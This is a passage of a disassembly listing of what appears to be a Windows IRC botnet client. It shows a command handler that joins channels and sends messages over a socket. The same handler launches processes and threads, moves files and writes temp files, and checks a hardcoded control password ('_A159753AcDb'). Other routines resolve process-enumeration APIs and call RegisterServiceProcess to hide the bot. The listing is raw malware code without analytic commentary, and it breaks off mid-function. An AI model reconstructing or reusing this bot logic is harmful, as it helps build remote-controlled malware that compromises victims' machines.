		mov	[ebp+var_D20], eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C8]
		mov	[ebp+var_D1C], edi
		push	offset unk_439FCC
		push	eax
		call	sub_417CB0
		push	esi
		lea	eax, [ebp+var_2C8]
		push	1Dh
		push	eax
		call	sub_409663
		add	esp, 28h
		mov	[ebp+var_D38], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FBC]
		push	ebx
		push	eax
		push	offset sub_410C53
		push	ebx
		push	ebx
		call	dword_4E0340	; CreateThread
		mov	ecx, [ebp+var_D38]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4495B4[ecx], eax
		jnz	short loc_406B83
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		push	offset unk_439FF8
		jmp	loc_403B1D
; ---------------------------------------------------------------------------


loc_406B7B:				; CODE XREF: sub_401C87+4F02j
		push	32h
		call	dword_4E033C	; Sleep


loc_406B83:				; CODE XREF: sub_401C87+4EE1j
		cmp	[ebp+var_D18], ebx
		jz	short loc_406B7B
		jmp	loc_403B2C
; ---------------------------------------------------------------------------


loc_406B90:				; CODE XREF: sub_401C87+3F26j
					; sub_401C87+3F3Bj
		push	7Fh
		lea	eax, [ebp+var_1918]
		push	[ebp+arg_10]
		push	eax
		call	sub_417760
		push	[ebp+arg_0]
		call	sub_417960
		push	3Fh
		mov	[ebp+var_17C8],	eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_1898]
		push	eax
		call	sub_417760
		mov	esi, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_406BE0
		push	3Fh
		lea	eax, [ebp+var_1858]
		push	esi
		push	eax
		call	sub_417760
		add	esp, 0Ch


loc_406BE0:				; CODE XREF: sub_401C87+4F45j
		lea	eax, [ebp+var_1898]
		mov	[ebp+var_17C4],	1
		push	eax
		lea	eax, [ebp+var_1918]
		push	[ebp+var_17C8]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_43A038
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	1Fh
		push	eax
		call	sub_409663
		add	esp, 20h
		mov	[ebp+var_17C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_191C]
		push	ebx
		push	eax
		push	offset sub_4019A5
		push	ebx
		push	ebx
		call	dword_4E0340	; CreateThread
		mov	ecx, [ebp+var_17C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4495B4[ecx], eax
		jnz	short loc_406C6F
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		push	offset dword_43A068
		jmp	loc_405E91
; ---------------------------------------------------------------------------


loc_406C67:				; CODE XREF: sub_401C87+4FEEj
		push	32h
		call	dword_4E033C	; Sleep


loc_406C6F:				; CODE XREF: sub_401C87+4FCDj
		cmp	[ebp+var_17BC],	ebx
		jz	short loc_406C67
		jmp	loc_405EA0
; ---------------------------------------------------------------------------


loc_406C7C:				; CODE XREF: sub_401C87+3EEAj
					; sub_401C87+3EFFj
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		call	dword_4E0374	; MoveFileA
		test	eax, eax
		jz	short loc_406CAD
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2C8]
		push	[ebp+arg_10]
		push	offset unk_43A0A4
		push	200h
		push	eax
		call	sub_417E80
		jmp	loc_403D50
; ---------------------------------------------------------------------------


loc_406CAD:				; CODE XREF: sub_401C87+5003j
		push	offset dword_43A0C8
		call	sub_411B50
		push	eax
		lea	eax, [ebp+var_2C8]
		push	200h
		push	eax
		call	sub_417E80
		add	esp, 10h
		jmp	loc_40652F
; ---------------------------------------------------------------------------


loc_406CD1:				; CODE XREF: sub_401C87+3EC0j
					; sub_401C87+3ED5j
		push	[ebp+arg_10]
		lea	eax, [ebp+var_172C]
		push	104h
		push	eax
		call	sub_417E80
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_406D0D
		push	[ebp+arg_0]
		push	[ebp+var_C]
		call	sub_417E00
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_406D0D
		push	eax
		lea	eax, [ebp+var_1628]
		push	eax
		call	sub_417CB0
		pop	ecx
		pop	ecx


loc_406D0D:				; CODE XREF: sub_401C87+5064j
					; sub_401C87+5075j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_17AC]
		push	80h
		push	eax
		call	sub_417E80
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_17B0],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1520],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_151C],	eax
		lea	eax, [ebp+var_1628]
		push	eax
		lea	eax, [ebp+var_172C]
		push	eax
		push	offset unk_43A0D4
		lea	eax, [ebp+var_2C8]
		push	200h
		push	eax
		call	sub_417E80
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	24h
		push	eax
		call	sub_409663
		add	esp, 2Ch
		mov	[ebp+var_1524],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_17B0]
		push	ebx
		push	eax
		push	offset sub_4114F1
		push	ebx
		push	ebx
		call	dword_4E0340	; CreateThread
		mov	ecx, [ebp+var_1524]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4495B4[ecx], eax
		jnz	short loc_406DD2
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43A104


loc_406DB6:				; CODE XREF: sub_401C87+8F1j
					; sub_401C87+A1Cj ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_417CB0
		add	esp, 0Ch
		jmp	loc_40259F
; ---------------------------------------------------------------------------


loc_406DCA:				; CODE XREF: sub_401C87+5151j
		push	32h
		call	dword_4E033C	; Sleep


loc_406DD2:				; CODE XREF: sub_401C87+5121j
		cmp	[ebp+var_1518],	ebx
		jz	short loc_406DCA
		jmp	loc_40259F
; ---------------------------------------------------------------------------


loc_406DDF:				; CODE XREF: sub_401C87+3E96j
					; sub_401C87+3EABj
		push	44h
		lea	eax, [ebp+var_870]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417700
		push	[ebp+arg_10]
		xor	edi, edi
		inc	edi
		mov	[ebp+var_870], esi
		mov	[ebp+var_844], edi
		mov	[ebp+var_840], bx
		call	sub_417960
		add	esp, 10h
		cmp	eax, edi
		jnz	short loc_406E1E
		mov	[ebp+var_840], 5


loc_406E1E:				; CODE XREF: sub_401C87+518Cj
		cmp	[ebp+var_C], ebx
		jz	loc_405EA0
		push	[ebp+arg_0]
		push	[ebp+var_C]
		call	sub_417E00
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_405EA0
		lea	eax, [ebp+var_8C0]
		push	eax
		lea	eax, [ebp+var_870]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	edi
		push	ebx
		push	ebx
		push	esi
		push	ebx
		call	dword_4E0330	; CreateProcessA
		test	eax, eax
		lea	eax, [ebp+var_2C8]
		jnz	short loc_406E6F
		push	offset unk_43A140
		jmp	loc_406FFC
; ---------------------------------------------------------------------------


loc_406E6F:				; CODE XREF: sub_401C87+51DCj
		push	esi
		push	offset dword_43A164
		jmp	loc_405E97
; ---------------------------------------------------------------------------


loc_406E7A:				; CODE XREF: sub_401C87+3E6Cj
					; sub_401C87+3E81j
		push	[ebp+arg_0]
		push	offset aJav0	; "Jav0"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406FF1
		lea	eax, [ebp+var_AD0]
		push	eax
		push	104h
		call	dword_4E0370	; GetTempPathA
		push	0FFh
		lea	eax, [ebp+var_F38]
		push	[ebp+arg_10]
		push	eax
		call	sub_417760
		lea	eax, [ebp+var_8CC]
		push	eax
		call	sub_409047
		push	eax
		lea	eax, [ebp+var_AD0]
		push	eax
		lea	eax, [ebp+var_E38]
		push	offset dword_43A180
		push	eax
		call	sub_417CB0
		mov	eax, [ebp+esi+var_88]
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+var_D34], 1
		mov	[ebp+var_D30], ebx
		jz	short loc_406F0E
		push	10h
		push	ebx
		push	eax
		call	sub_418560
		add	esp, 0Ch
		mov	[ebp+var_D28], eax
		jmp	short loc_406F14
; ---------------------------------------------------------------------------


loc_406F0E:				; CODE XREF: sub_401C87+5271j
		mov	[ebp+var_D28], ebx


loc_406F14:				; CODE XREF: sub_401C87+5285j
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		jz	short loc_406F2E
		push	esi
		call	sub_417960
		pop	ecx
		mov	[ebp+var_D2C], eax
		jmp	short loc_406F34
; ---------------------------------------------------------------------------


loc_406F2E:				; CODE XREF: sub_401C87+5296j
		mov	[ebp+var_D2C], ebx


loc_406F34:				; CODE XREF: sub_401C87+52A5j
		movzx	eax, [ebp+var_967]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_D24], eax
		lea	eax, [ebp+var_FB8]
		mov	[ebp+var_FBC], esi
		push	eax
		call	sub_417760
		mov	eax, [ebp+var_4]
		push	[ebp+arg_10]
		mov	[ebp+var_D1C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_D20], eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_43A18C
		push	eax
		call	sub_417CB0
		push	esi
		lea	eax, [ebp+var_2C8]
		push	1Eh
		push	eax
		call	sub_409663
		add	esp, 24h
		mov	[ebp+var_D38], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FBC]
		push	ebx
		push	eax
		push	offset sub_410C53
		push	ebx
		push	ebx
		call	dword_4E0340	; CreateThread
		mov	ecx, [ebp+var_D38]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4495B4[ecx], eax
		jnz	short loc_406FE4
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		push	offset dword_43A1B8
		jmp	loc_405E91
; ---------------------------------------------------------------------------


loc_406FDC:				; CODE XREF: sub_401C87+5363j
		push	32h
		call	dword_4E033C	; Sleep


loc_406FE4:				; CODE XREF: sub_401C87+5342j
		cmp	[ebp+var_D18], ebx
		jz	short loc_406FDC
		jmp	loc_405EA0
; ---------------------------------------------------------------------------


loc_406FF1:				; CODE XREF: sub_401C87+5204j
		push	offset dword_43A1F8


loc_406FF6:				; CODE XREF: sub_401C87+2823j
					; sub_401C87+2DE6j ...
		lea	eax, [ebp+var_2C8]


loc_406FFC:				; CODE XREF: sub_401C87+2E6Ej
					; sub_401C87+2E78j ...
		push	eax
		call	sub_417CB0
		pop	ecx
		pop	ecx
		jmp	loc_405EA0
; ---------------------------------------------------------------------------


loc_407009:				; CODE XREF: sub_401C87+3E42j
					; sub_401C87+3E57j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2C8]
		push	offset aPartS	; "PART	%s"
		push	eax
		call	sub_417CB0
		push	[ebp+arg_10]
		call	sub_417960
		add	esp, 10h
		test	eax, eax
		jle	loc_40743C
		push	[ebp+arg_10]
		call	sub_417960
		cmp	eax, 400h
		pop	ecx
		jge	loc_40743C
		lea	eax, [ebp+var_2C8]
		push	eax
		push	offset aS_26	; "%s\r\n"


loc_407050:				; CODE XREF: sub_401C87+3973j
					; sub_401C87+5436j
		push	[ebp+arg_10]
		call	sub_417960
		imul	eax, 234h
		pop	ecx
		push	dword_4495AC[eax]
		call	sub_407604
		jmp	loc_40426B
; ---------------------------------------------------------------------------


loc_40706F:				; CODE XREF: sub_401C87+3E18j
					; sub_401C87+3E2Dj
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C8]
		push	[ebp+arg_0]
		push	offset aJoinSS_2 ; "JOIN %s %s"
		push	eax
		call	sub_417CB0
		push	[ebp+arg_10]
		call	sub_417960
		add	esp, 14h
		test	eax, eax
		jle	loc_40743C
		push	[ebp+arg_10]
		call	sub_417960
		cmp	eax, 400h
		pop	ecx
		jge	loc_40743C
		lea	eax, [ebp+var_2C8]
		push	eax
		push	offset aS_27	; "%s\r\n"
		jmp	short loc_407050
; ---------------------------------------------------------------------------


loc_4070BF:				; CODE XREF: sub_401C87+3DEEj
					; sub_401C87+3E03j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2C8]
		push	offset aNickS_2	; "NICK	%s"
		push	eax
		call	sub_417CB0
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_417960
		add	esp, 10h
		test	eax, eax
		jle	loc_40743C
		push	esi
		call	sub_417960
		cmp	eax, 400h
		pop	ecx
		jge	loc_40743C
		lea	eax, [ebp+var_2C8]
		push	eax
		push	offset aS_28	; "%s\r\n"
		push	esi
		call	sub_417960
		imul	eax, 234h
		pop	ecx
		push	dword_4495AC[eax]
		call	sub_407604
		push	[ebp+arg_0]
		push	esi
		push	offset dword_43A274


loc_407126:				; CODE XREF: sub_401C87+3688j
					; sub_401C87+3B55j ...
		call	sub_40F99B
		jmp	loc_403F11
; ---------------------------------------------------------------------------


loc_407130:				; CODE XREF: sub_401C87+3DC4j
					; sub_401C87+3DD9j
		cmp	[ebp+var_C], ebx
		jz	loc_40743C
		push	[ebp+arg_0]
		push	[ebp+var_C]
		call	sub_417E00
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_407161
		push	esi
		lea	eax, [ebp+var_2C8]
		push	offset dword_43A290
		push	eax
		call	sub_417CB0
		add	esp, 0Ch


loc_407161:				; CODE XREF: sub_401C87+54C3j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_417960
		test	eax, eax
		pop	ecx
		jle	loc_40743C
		push	edi
		call	sub_417960
		cmp	eax, 400h
		pop	ecx
		jge	loc_40743C
		lea	eax, [ebp+var_2C8]
		push	eax
		push	offset dword_43A298
		push	edi
		call	sub_417960
		imul	eax, 234h
		pop	ecx
		push	dword_4495AC[eax]
		call	sub_407604
		push	esi
		push	edi
		push	offset dword_43A2A0
		jmp	loc_407126
; ---------------------------------------------------------------------------


loc_4071B5:				; CODE XREF: sub_401C87+3D9Aj
					; sub_401C87+3DAFj
		cmp	[ebp+var_C], ebx
		jz	loc_40743C
		push	[ebp+arg_0]
		push	[ebp+var_C]
		call	sub_417E00
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40743C
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_417960
		test	eax, eax
		pop	ecx
		jle	loc_40743C
		push	edi
		call	sub_417960
		cmp	eax, 400h
		pop	ecx
		jge	loc_40743C
		push	esi
		push	offset dword_43A2BC
		push	edi
		call	sub_417960
		imul	eax, 234h
		pop	ecx
		push	dword_4495AC[eax]
		call	sub_407604
		push	esi
		push	edi
		push	offset dword_43A2C4
		jmp	loc_407126
; ---------------------------------------------------------------------------


loc_407223:				; CODE XREF: sub_401C87+3D70j
					; sub_401C87+3D85j
		cmp	[ebp+var_C], ebx
		jz	loc_40743C
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_417E00
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40743C
		push	esi
		push	offset dword_43A2E0
		push	[ebp+arg_4]
		call	sub_407604
		push	esi
		push	offset unk_43A2EC
		jmp	loc_4057F9
; ---------------------------------------------------------------------------


loc_40725C:				; CODE XREF: sub_401C87+3D46j
					; sub_401C87+3D5Bj
		push	[ebp+var_90]
		push	offset a332_2	; "332"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40622C
		push	[ebp+arg_0]
		push	offset aPartS_0	; "PART	%s\r\n"
		push	[ebp+arg_4]
		call	sub_407604
		push	[ebp+arg_10]
		call	sub_417960
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	dword_4E033C	; Sleep
		push	[ebp+esi+var_88]
		push	[ebp+arg_0]
		push	offset aJoinSS_3 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_407604
		push	offset dword_43A328
		call	sub_40F927
		jmp	loc_4057FE
; ---------------------------------------------------------------------------


loc_4072C4:				; CODE XREF: sub_401C87+3D1Cj
					; sub_401C87+3D31j
		cmp	[ebp+var_C], ebx
		jz	loc_40743C
		push	[ebp+arg_10]
		call	sub_414EC0
		push	edi
		mov	esi, eax
		call	sub_414EC0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417E00
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_40743C
		push	esi
		lea	eax, [ebp+var_2C8]
		push	offset dword_43A33C
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_40764A
		push	esi
		push	[ebp+arg_10]
		push	offset unk_43A348
		call	sub_40F99B
		add	esp, 2Ch
		jmp	loc_40743C
; ---------------------------------------------------------------------------


loc_407336:				; CODE XREF: sub_401C87+3CF2j
					; sub_401C87+3D07j
		cmp	[ebp+var_C], ebx
		jz	loc_40743C
		push	[ebp+arg_10]
		call	sub_414EC0
		push	edi
		mov	esi, eax
		call	sub_414EC0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417E00
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_40743C
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_40764A
		push	esi
		push	[ebp+arg_10]
		push	offset unk_43A364
		call	sub_40F99B
		add	esp, 20h
		jmp	loc_40743C
; ---------------------------------------------------------------------------


loc_407390:				; CODE XREF: sub_401C87+3CC8j
					; sub_401C87+3CDDj
		cmp	[ebp+var_C], ebx
		jz	loc_40622C
		push	[ebp+arg_0]
		push	[ebp+var_C]
		call	sub_417E00
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40622C
		push	eax
		push	[ebp+arg_10]
		call	sub_40F82F
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C8]
		push	offset unk_43A384
		push	eax
		call	sub_417CB0
		add	esp, 14h
		jmp	loc_40607B
; ---------------------------------------------------------------------------


loc_4073D3:				; CODE XREF: sub_401C87+3C9Ej
					; sub_401C87+3CB3j
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_411F66
		jmp	loc_403D84
; ---------------------------------------------------------------------------


loc_4073EF:				; CODE XREF: sub_401C87+E72j
					; sub_401C87+E87j
		push	[ebp+esi+var_90]
		xor	eax, eax
		cmp	[ebp+var_95C], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_304]
		push	dword_4370A0
		push	eax
		call	sub_409361
		lea	eax, [ebp+var_304]
		push	eax
		push	offset aNickS_3	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_407604
		lea	eax, [ebp+var_304]
		push	eax
		push	offset unk_43A3B0
		call	sub_40F99B


loc_407439:				; CODE XREF: sub_401C87+42A2j
		add	esp, 24h


loc_40743C:				; CODE XREF: sub_401C87+62Aj
					; sub_401C87+636j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_4075FF
; ---------------------------------------------------------------------------


loc_407444:				; CODE XREF: sub_401C87+A82j
					; sub_401C87+A97j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_40622C
		cmp	[ebp+var_A4], ebx
		jnz	loc_40622C
		push	offset asc_43A3D4 ; "!~"
		push	[ebp+var_94]
		call	sub_418AC0
		mov	esi, eax
		push	offset dword_4D6520
		push	ebx
		inc	esi
		call	sub_418AC0
		push	(offset	asc_43A3D4+2)
		push	eax
		call	sub_418AC0
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset a_a159753acdb ; "_A159753AcDb"
		call	sub_418A30
		add	esp, 20h
		test	eax, eax
		jz	short loc_4074EC
		lea	eax, [ebp+var_C0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_407604
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_407604
		push	edi
		push	esi
		push	offset unk_43A42C


loc_4074D8:				; CODE XREF: sub_401C87+58BEj
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_417CB0
		add	esp, 30h
		jmp	loc_40259F
; ---------------------------------------------------------------------------


loc_4074EC:				; CODE XREF: sub_401C87+5818j
		mov	[ebp+arg_24], ebx


loc_4074EF:				; CODE XREF: sub_401C87+5885j
		mov	eax, [ebp+arg_24]
		push	edi
		push	off_437154[eax]
		call	sub_4099B6
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407547
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], 4
		jb	short loc_4074EF
		lea	eax, [ebp+var_C0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_407604
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSYourA_0 ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_407604
		push	edi
		push	esi
		push	offset unk_43A4AC
		jmp	short loc_4074D8
; ---------------------------------------------------------------------------


loc_407547:				; CODE XREF: sub_401C87+587Bj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40754C:				; CODE XREF: sub_401C87+58E6j
		cmp	[edi], bl
		jnz	short loc_407563
		push	[ebp+arg_10]
		push	offset a_a159753acdb ; "_A159753AcDb"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407574


loc_407563:				; CODE XREF: sub_401C87+58C7j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_40754C
		jmp	loc_40622C
; ---------------------------------------------------------------------------


loc_407574:				; CODE XREF: sub_401C87+58DAj
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_B60]
		push	7Fh
		push	eax
		push	esi
		call	sub_417760
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4075AB
		push	ebx
		push	[ebp+var_4]
		push	offset unk_43A4D8
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		add	esp, 14h


loc_4075AB:				; CODE XREF: sub_401C87+5908j
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset unk_43A4F8
		jmp	loc_402213
; ---------------------------------------------------------------------------


loc_4075BC:				; CODE XREF: sub_401C87+202j
					; sub_401C87+217j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_407604
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_407604
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS_4 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_407604
		add	esp, 2Ch
		mov	dword_4D6514, edi


loc_4075FD:				; CODE XREF: sub_401C87+E9j
					; sub_401C87+F5j ...
		mov	eax, edi


loc_4075FF:				; CODE XREF: sub_401C87+2554j
					; sub_401C87+2576j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401C87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407604	proc near		; CODE XREF: sub_401B0B+3Dp
					; sub_401C87+1BFp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_418C10
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4D66B8	; send
		leave
		retn
sub_407604	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40764A	proc near		; CODE XREF: sub_401C87+4F3p
					; sub_401C87+1371p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice_2 ;	"NOTICE"
		jnz	short loc_407665
		mov	edi, offset aPrivmsg_2 ; "PRIVMSG"


loc_407665:				; CODE XREF: sub_40764A+14j
		push	edi
		call	sub_414EC0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_414EC0
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset aS_12	; "%s"
		push	esi
		push	eax
		call	sub_417E80
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS	; "%s %s :%s\r\n"
		push	eax
		call	sub_417CB0
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4D66B8	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_4076E3
		push	7D0h
		call	dword_4E033C	; Sleep

locret_4076E3:				; CODE XREF: sub_40764A+8Cj
		leave
		retn
sub_40764A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4076E5	proc near		; CODE XREF: sub_401404+4Bp
		push	ebx
		push	ebp
		mov	ebp, dword_4E0360
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, dword_4E0380
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_407805
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4D6714, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4D6688, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4D666C, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4D657C, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4D6528, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4D6558, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4D65D0, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4D66C8, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4D6720, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4D6588, eax
		call	esi	; GetProcAddress
		cmp	dword_4D6714, ebx
		mov	dword_4D6570, eax
		jz	short loc_4077E3
		cmp	dword_4D6688, ebx
		jz	short loc_4077E3
		cmp	dword_4D666C, ebx
		jz	short loc_4077E3
		cmp	dword_4D657C, ebx
		jz	short loc_4077E3
		cmp	dword_4D6558, ebx
		jz	short loc_4077E3
		cmp	dword_4D65D0, ebx
		jz	short loc_4077E3
		cmp	dword_4D66C8, ebx
		jz	short loc_4077E3
		cmp	dword_4D6720, ebx
		jz	short loc_4077E3
		cmp	dword_4D6588, ebx
		jz	short loc_4077E3
		cmp	eax, ebx
		jnz	short loc_4077ED


loc_4077E3:				; CODE XREF: sub_4076E5+B8j
					; sub_4076E5+C0j ...
		mov	dword_4D6724, 1


loc_4077ED:				; CODE XREF: sub_4076E5+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4D66A0, eax
		jz	short loc_40781A
		push	1
		push	ebx
		call	eax	; DnsFlushResolverCache
		jmp	short loc_40781A
; ---------------------------------------------------------------------------


loc_407805:				; CODE XREF: sub_4076E5+1Dj
		call	dword_4E0350	; RtlGetLastWin32Error
		mov	dword_4D6728, eax
		mov	dword_4D6724, 1


loc_40781A:				; CODE XREF: sub_4076E5+117j
					; sub_4076E5+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4E037C	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40792F
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4D66C4, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4D6674, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4D6608, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
